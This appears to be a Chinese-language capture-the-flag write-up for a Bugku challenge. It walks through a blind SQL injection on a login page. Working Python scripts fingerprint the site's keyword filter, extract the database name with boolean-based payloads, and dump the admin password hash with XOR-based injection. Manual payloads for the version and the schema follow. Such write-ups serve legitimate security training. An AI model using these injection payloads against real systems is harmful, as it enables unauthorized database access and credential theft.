题目介绍

题目来源:Bugku(https://ctf.bugku.com

一看登陆界面,简单测试过后确定是一道典型的SQL注入

步骤一:获取网站过滤字典

import requests

url = "http://114.67.175.224:16894/index.php"

# 判断网站能否用sql注入
payload = "' or 1=1#"
params = {"username": payload, "password": payload}

response = requests.post(url, data=params)
if "illegal" in response.text.lower():
    print("The website is vulnerable to SQL injection!")
else:
    print("The website is not vulnerable to SQL injection.")


# 获取过滤字典
sql_char = ['select', 'union', 'and', 'or', 'sleep', 'where', 'from', 'limit', 'group',
			'by', 'like', 'prepare', 'as', 'if', 'char', 'ascii', 'mid', 'left', 'right',
			'substring', 'handler', 'updatexml', 'extractvalue', 'benchmark', 'insert',
			'update', 'all', '@', '#', '^', '&', '*', '\'', '"', '~', '`', '(', ')', '--',
			'=', '/', '\\', ' ', '+', 'for', '/**/', '<', '>', ',', 'information', 'is', 'exists']

for testchar in sql_char:
    params = {"username": testchar, "password": testchar}
    response = requests.post(url, data=params)
    if "illegal character" in response.text.lower():
        print("非法字符:"+testchar)
    else:
        print("通过:"+testchar)

步骤二:获取网站数据库名

import requests

url = 'http://114.67.175.224:16894/index.php'

# 获取数据库名称长度
for i in range(0, 30):
    testnum = f"a'or(length(database())>{i})#"
    params = {"username": testnum, "password": testnum}
    response = requests.post(url, data=params)
    if "password error!" in response.text.lower():
        continue
    else:
        print("数据库名称长度为"+str(i))
        break

# 破译数据库名称
for j in range(1, i+1):
    for k in range(32, 126):
        num = i+1-j
        testname = f"a'or(ord(substr(reverse(substr((database())from({j})))from({num})))<>{k})#"
        params = {"username": testname, "password": testname}
        response = requests.post(url, data=params)
        if "username does not exist!" in response.text.lower():
            print("数据库名称第" + str(j) + "位是:" + chr(k))
            break

步骤三:密码盲注

Low版本

# 这个方法之所以为low,是因为直接猜表格名为admin,其中有一个项为password,有一些运气成分

import requests

url = "http://114.67.175.224:16894/index.php"

str_all = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
result = ""

for i in range(0, 40):
    flag = 0
    for j in str_all:
        # 给出了相较于获取数据库名称时使用or的方法更高级的一个利用异或的方法
        payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1), ord(j))
        params = {
            "username": payload,
            "password": "123"
        }
        response = requests.post(url, data=params)
        if "password error!" in response.text.lower():
            result += j
            flag = 1
            print(result)
    if flag == 0:
        break

High版本

# 先确定网站sql数据库版本
a'or(ord(substr(reverse(substr((version())from(1)))from(6)))<>'常数or符号.')#
例:5.1.73

# 使用字典盲注获得表名以及字段
a'or(length((select(group_concat(字典))from(blindsql.字典)))>0)#

# 得到表名和字段跑出来分别是:admin,pasword后使用ascii码遍历
a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from(1)))from(40)))<>'ascii码')#

步骤四:密码破译

我们可以看到盲注出来的密码显然是经过MD5加密的,我们将其解密

得到明文密码

步骤五:得到flag🚩